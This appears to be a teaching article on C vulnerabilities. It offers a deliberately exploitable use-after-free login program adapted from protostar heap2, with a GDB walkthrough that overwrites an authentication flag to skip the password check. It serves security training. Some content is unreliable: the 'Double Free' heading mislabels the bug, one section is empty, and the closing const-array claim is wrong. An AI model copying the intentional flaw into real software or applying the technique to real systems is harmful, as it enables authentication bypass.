C Vulnerability Walkthroughs

Intro

This article is a collection of textbook c vulnerabilities along with debugging commands and exploit. I prepared the content as source for secure coding and security awareness type courses, so see it as example collection and not as tutorial.

Using GDB

Setting disassembly to intel.

echo 'set disassembly-flavor intel' > ~/.gdbinit

Important commands

info break	list breakpoint
del 1	delete bnreakpoint #
command #	run a set of commands on breakpoint #
print #	print variable,.. required debugging symbols (gcc -g)
x <address>	display memory content
x/20w <address>	display 20 words (64bit on an x86-64)
x/20w <address>-#	display 20 words at address-#

Double Free

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
// Use after free, adapted from protostar/heap2 https://exploit.education
// - fixed the bug where the auth/malloc was using the wrong size
// - changed strdup to malloc/strcpy to keep it exploitable

#define SERVICE_SIZE 32

struct AuthStruct {
  char name[32];
  int is_authenticated;
};


struct AuthStruct *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
    printf("[ auth = %p, service = %p ]\n", auth, service);

    if(fgets(line, sizeof(line), stdin) == NULL) break;
    
    if(strncmp(line, "user ", 5) == 0) {
      auth = malloc(sizeof(*auth));
      memset(auth, 0, sizeof(*auth));
      if(strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if(strncmp(line, "reset", 5) == 0) {
      free(auth);
    }
    if(strncmp(line, "service", 6) == 0) {
      service = malloc(SERVICE_SIZE);
      strcpy(service, line+7);
    }
    if(strncmp(line, "login", 5) == 0) {
      if(auth->is_authenticated) {
        printf("you have logged in already!\n");
      } else {
        printf("please enter your password\n");
      }
    }
  }
}

Compile with symbols and run in gdb:

gcc -g heap2.c -o heap2
gdb ./heap2

r, user test, ctrl-c	run program, get auth allocated, break into gdb
info proc mapping	show memory layout including heap address
x/20	we don't really need this, using the variable is easier
print auth	show pointer, not really useful but also show the heap location
print *auth	print auth structure
x/40wx auth-1	the main command to view the correct place on the heap
Note	"auth-1" is substracting 1 of sizeof(*auth)
x/40wx (char*)auth-16	This makes it clearer what is actually being substracted
disas main	look at source for breakpoint location
break *(main+56)	break on printf

command	add command(s) to breakpoint
x/40wx auth-1	This is the important information, you could also print auth and/or service
echo —\n	if printing multiple things, echo can be used to add text and line breaks
continue	continue execution automatically
end	end the command statement
r	restart and start hacking
The "text book" way to hack the code is:
user test	test shows up in heap
service AAAA	AAAA shows up further down in the heap
reset	auth is freed
service AAAA	AAAA shows up in the location previously used by auth
login	we still need a password
r	second attempt
user test, reset
service AA[…]A	eventually the position of is_authenticated gets overwritten
login	and we don't need a password any more

Bonus point if you can explain what happens to the username string upon calling reset.

Buffer Underflow

Misleading C Code examples

const char my_constant_string[] = "Welcome to C";

Will create a constant string pointer, pointing to a changeable string.